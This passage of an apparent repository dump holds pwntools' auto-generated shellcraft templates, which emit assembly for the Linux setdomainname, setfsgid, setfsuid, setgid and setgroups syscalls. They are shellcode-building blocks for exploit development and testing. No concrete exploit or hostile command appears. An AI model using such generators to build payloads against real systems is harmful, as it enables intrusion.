    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setdomainname(name, length) -> str\n\nInvokes the syscall setdomainname.\n\nSee 'man 2 setdomainname' for more information.\n\nArguments:\n    name(char*): name\n    length(size_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name', 'length']\n    argument_values = [name, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setdomainname']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setdomainname'])\n%>\n    /* setdomainname(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setfsgid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setfsgid(gid) -> str\n\nInvokes the syscall setfsgid.\n\nSee 'man 2 setfsgid' for more information.\n\nArguments:\n    gid(gid_t): gid\nReturns:\n    int\n</%docstring>\n<%page args=\"gid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['gid']\n    argument_values = [gid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setfsgid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setfsgid'])\n%>\n    /* setfsgid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setfsgid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setfsgid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall setfsgid32.\n\nSee 'man 2 setfsgid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setfsgid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setfsgid32'])\n%>\n    /* setfsgid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setfsuid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setfsuid(uid) -> str\n\nInvokes the syscall setfsuid.\n\nSee 'man 2 setfsuid' for more information.\n\nArguments:\n    uid(uid_t): uid\nReturns:\n    int\n</%docstring>\n<%page args=\"uid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['uid']\n    argument_values = [uid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setfsuid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setfsuid'])\n%>\n    /* setfsuid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setfsuid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setfsuid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall setfsuid32.\n\nSee 'man 2 setfsuid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setfsuid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setfsuid32'])\n%>\n    /* setfsuid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setgid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setgid(gid) -> str\n\nInvokes the syscall setgid.\n\nSee 'man 2 setgid' for more information.\n\nArguments:\n    gid(gid_t): gid\nReturns:\n    int\n</%docstring>\n<%page args=\"gid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['gid']\n    argument_values = [gid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setgid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setgid'])\n%>\n    /* setgid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setgid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setgid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall setgid32.\n\nSee 'man 2 setgid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setgid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setgid32'])\n%>\n    /* setgid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setgroups.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setgroups(n, groups) -> str\n\nInvokes the syscall setgroups.\n\nSee 'man 2 setgroups' for more information.\n\nArguments:\n    n(size_t): n\n    groups(gid_t*): groups\nReturns:\n    int\n</%docstring>\n<%page args=\"n=0, groups=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['n', 'groups']\n    argument_values = [n, groups]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setgroups']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setgroups'])\n%>\n    /* setgroups(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setgroups32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setgroups32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall setgroups32.\n\nSee 'man 2 setgroups32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setgroups32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setgroups32'])\n%>\n    /* setgroups32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sethostname.asm",
